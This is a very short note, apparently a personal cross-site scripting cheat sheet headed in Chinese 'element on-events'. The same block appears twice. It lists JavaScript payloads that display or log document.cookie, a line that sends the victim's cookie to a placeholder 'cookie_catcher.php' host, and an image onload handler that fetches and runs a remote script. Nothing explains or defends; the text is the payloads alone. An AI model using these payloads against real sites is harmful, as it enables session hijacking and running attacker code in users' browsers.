元素on事件：
prompt(document.cookie)
document.location= "http://www.example.com/cookie_catcher.php?c=" + document.cookie
console.log(document.cookie)
alert(document.cookie)
<img src="xxx" onload="$.getScript`https://www.xxx.com/test.js`" whdth="50">
元素on事件：
prompt(document.cookie)
document.location= "http://www.example.com/cookie_catcher.php?c=" + document.cookie
console.log(document.cookie)
alert(document.cookie)
<img src="xxx" onload="$.getScript`https://www.xxx.com/test.js`" whdth="50">